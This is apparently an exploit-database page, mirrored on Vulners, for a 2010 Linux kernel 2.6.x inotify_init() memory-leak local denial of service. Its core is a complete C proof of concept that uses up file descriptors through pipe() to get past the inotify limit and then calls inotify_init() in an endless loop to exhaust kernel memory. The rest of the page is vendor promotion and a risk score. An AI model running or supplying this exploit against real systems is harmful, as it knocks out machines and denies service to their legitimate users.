Lucene search
K

Linux Kernel 2.6.x - 'inotify_init()' Memory Leak Local Denial of Service

🗓️ 24 Nov 2010 00:00:00Reported by Vegard NossumType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Linux Kernel 2.6.x inotify_init() Memory Leak Do

Code
/*
source: https://www.securityfocus.com/bid/45036/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users. 
*/


#include <sys/inotify.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        int fds[2];

        /* Circumvent max inotify instances limit */
        while (pipe(fds) != -1)
                ;

        while (1)
                inotify_init();

        return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Nov 2010 00:00Current
7.4High risk
Vulners AI Score7.4
33